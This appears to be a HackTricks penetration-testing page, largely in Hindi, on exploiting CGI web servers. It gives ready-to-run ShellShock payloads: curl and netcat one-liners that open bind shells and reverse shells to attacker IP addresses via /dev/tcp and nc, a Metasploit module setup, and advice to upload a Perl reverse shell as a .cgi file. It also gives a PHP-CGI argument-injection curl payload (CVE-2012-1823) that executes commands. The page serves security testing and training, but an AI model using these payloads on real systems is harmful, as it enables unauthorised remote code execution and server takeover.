CGI

Support HackTricks

Information

CGI स्क्रिप्ट्स पर्ल स्क्रिप्ट्स हैं, इसलिए, यदि आपने एक सर्वर को समझौता किया है जो .cgi स्क्रिप्ट्स को निष्पादित कर सकता है, तो आप एक पर्ल रिवर्स शेल (/usr/share/webshells/perl/perl-reverse-shell.pl) अपलोड कर सकते हैं, एक्सटेंशन को .pl से .cgi में बदल सकते हैं, निष्पादन अनुमतियाँ दें (chmod +x) और वेब ब्राउज़र से रिवर्स शेल एक्सेस करें ताकि इसे निष्पादित किया जा सके। CGI कमजोरियों के लिए परीक्षण करने के लिए nikto -C all (और सभी प्लगइन्स) का उपयोग करने की सिफारिश की जाती है।

ShellShock

ShellShock एक कमजोरी है जो व्यापक रूप से उपयोग किए जाने वाले Bash कमांड-लाइन शेल को प्रभावित करती है जो यूनिक्स-आधारित ऑपरेटिंग सिस्टम में है। यह Bash की क्षमता को लक्षित करती है कि वह अनुप्रयोगों द्वारा भेजे गए आदेशों को चलाए। यह कमजोरी पर्यावरण चर के हेरफेर में निहित है, जो गतिशील नामित मान हैं जो यह प्रभावित करते हैं कि कंप्यूटर पर प्रक्रियाएँ कैसे चलती हैं। हमलावर इसको पर्यावरण चर में दुष्ट कोड संलग्न करके शोषण कर सकते हैं, जो चर प्राप्त करने पर निष्पादित होता है। इससे हमलावरों को संभावित रूप से सिस्टम को समझौता करने की अनुमति मिलती है।

इस कमजोरी का शोषण करते समय पृष्ठ एक त्रुटि फेंक सकता है

आप इस कमजोरी को यह देखकर पता लगा सकते हैं कि यह एक पुरानी Apache संस्करण और cgi_mod (cgi फ़ोल्डर के साथ) का उपयोग कर रहा है या nikto का उपयोग करके।

Test

अधिकांश परीक्षण कुछ को इको करने पर आधारित होते हैं और उम्मीद करते हैं कि वह स्ट्रिंग वेब प्रतिक्रिया में लौटाई जाए। यदि आप सोचते हैं कि एक पृष्ठ कमजोर हो सकता है, तो सभी cgi पृष्ठों की खोज करें और उनका परीक्षण करें।

Nmap

nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (प्रतिबिंबित, अंधा और आउट-ऑफ-बैंड)

# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

शोषण

#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Proxy (MitM to Web server requests)

CGI प्रत्येक हेडर के लिए एक पर्यावरण चर बनाता है जो http अनुरोध में होता है। उदाहरण के लिए: "host:web.com" को "HTTP_HOST"="web.com" के रूप में बनाया जाता है।

चूंकि HTTP_PROXY चर का उपयोग वेब सर्वर द्वारा किया जा सकता है। एक हेडर भेजने का प्रयास करें जिसमें: "Proxy: <IP_attacker>:<PORT>" हो और यदि सर्वर सत्र के दौरान कोई अनुरोध करता है। आप सर्वर द्वारा किए गए प्रत्येक अनुरोध को कैप्चर करने में सक्षम होंगे।

Old PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

बुनियादी रूप से यदि cgi सक्रिय है और php "पुराना" (<5.3.12 / < 5.4.2) है तो आप कोड निष्पादित कर सकते हैं। इस भेद्यता का लाभ उठाने के लिए आपको वेब सर्वर की कुछ PHP फ़ाइल तक पहुंच प्राप्त करनी होगी बिना पैरामीटर भेजे (विशेष रूप से "=" वर्ण भेजे बिना)। फिर, इस भेद्यता का परीक्षण करने के लिए, आप उदाहरण के लिए /index.php?-s तक पहुंच सकते हैं (ध्यान दें -s) और अनुप्रयोग का स्रोत कोड प्रतिक्रिया में दिखाई देगा

फिर, RCE प्राप्त करने के लिए आप यह विशेष क्वेरी भेज सकते हैं: /?-d allow_url_include=1 -d auto_prepend_file=php://input और PHP कोड जो अनुरोध के शरीर में निष्पादित किया जाना है। उदाहरण:**

curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

कमजोरी और संभावित हमलों के बारे में अधिक जानकारी: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF लेखन उदाहरण.

HackTricks का समर्थन करें

Last updated